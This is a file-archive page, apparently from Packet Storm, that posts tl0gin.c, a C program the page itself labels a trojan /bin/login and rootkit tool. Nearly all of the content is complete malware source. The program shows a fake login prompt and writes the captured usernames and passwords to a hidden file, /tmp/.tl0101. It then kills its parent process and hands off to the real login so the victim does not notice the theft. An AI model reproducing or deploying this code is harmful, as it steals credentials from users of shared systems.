what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

tl0gin.c

tl0gin.c
Posted Dec 16, 2002
Authored by m4rc3l0

Trojan /bin/login.

tags | tool, trojan, rootkit
systems | unix
SHA-256 | 08a2db6a5fd39499b85f17438742623ff3cc30354aa3f5a797831cc0f0b5cfc9

tl0gin.c

Change Mirror Download
/* tl0gin 0.1 (c)oded by m4rc3l0 in 11/09/2002(putz)  *
* *
* Greetz: BashX, roadhouse, sinner, decodi, r0ot, hts, *
* midnight, behael, dacker, seed, m4st, mor_PH_eus, *
* eSc2, anjinh0, bionatus.. *
* #DNH, #ESFINGE, #FEANOR at BRASNET *
* *
* Mail-me: m4rc3l0rlz@yahoo.com.br */


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/utsname.h>


/* Error */
#define ERROR1 "Login incorrect"

/* Arquive */
#define ARQUI "/tmp/.tl0101"

/* Others */
#define MAX 500
#define ERRO -1
#define LOGIN "/bin/login"

void banner();
void loga();
void retorna();
int pega_info();
int grava_arq(char login[100], char passwd[100]);

char sys_name[100];
char sys_release[100];

int main()
{
FILE *fp;

signal(SIGINT, retorna);
signal(SIGSTOP, retorna);
signal(SIGQUIT, retorna);

loga();

return(0);
}

void loga() {
int pid;
char login[MAX], passwd[MAX], esconde[MAX], hostname[MAX];
char *pass;

pid = getppid();
gethostname(hostname, sizeof(hostname));

for(;;) {
for(;;) {

PRIMEIRO:
banner();

SEGUNDO:
printf("%s login: ", hostname);
fflush(stdout);
gets(login);

if(strcmp(login, "") != 0)
break;
else
goto PRIMEIRO;
}

pass = (char *)getpass ("Password: ");
printf("%s\n\n", ERROR1);

if(strlen(login) >= 3)
break;
else
goto SEGUNDO;
}

grava_arq(login, pass);

kill(pid, 9);
execl(LOGIN, "", NULL);
}

int pega_info() {
struct utsname info;

if(uname(&info) == -1) {
perror("uname");
return -1;
}

sprintf(sys_name, "%s", info.sysname);
sprintf(sys_release, "%s", info.release);
}

int grava_arq(char login[100], char passwd[100]) {
FILE *fp;

if((fp = fopen(ARQUI, "a")) != NULL) {
fprintf(fp, "Login: %s\tPassword: %s\n", login, passwd);
fclose(fp);
return 0;
}
else
return -1;
}

void banner() {
printf("\033[2J");
printf("\033[2;1H");
pega_info();
printf("%s %s\n\n", sys_name, sys_release);
}

void retorna() {
return;
}
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close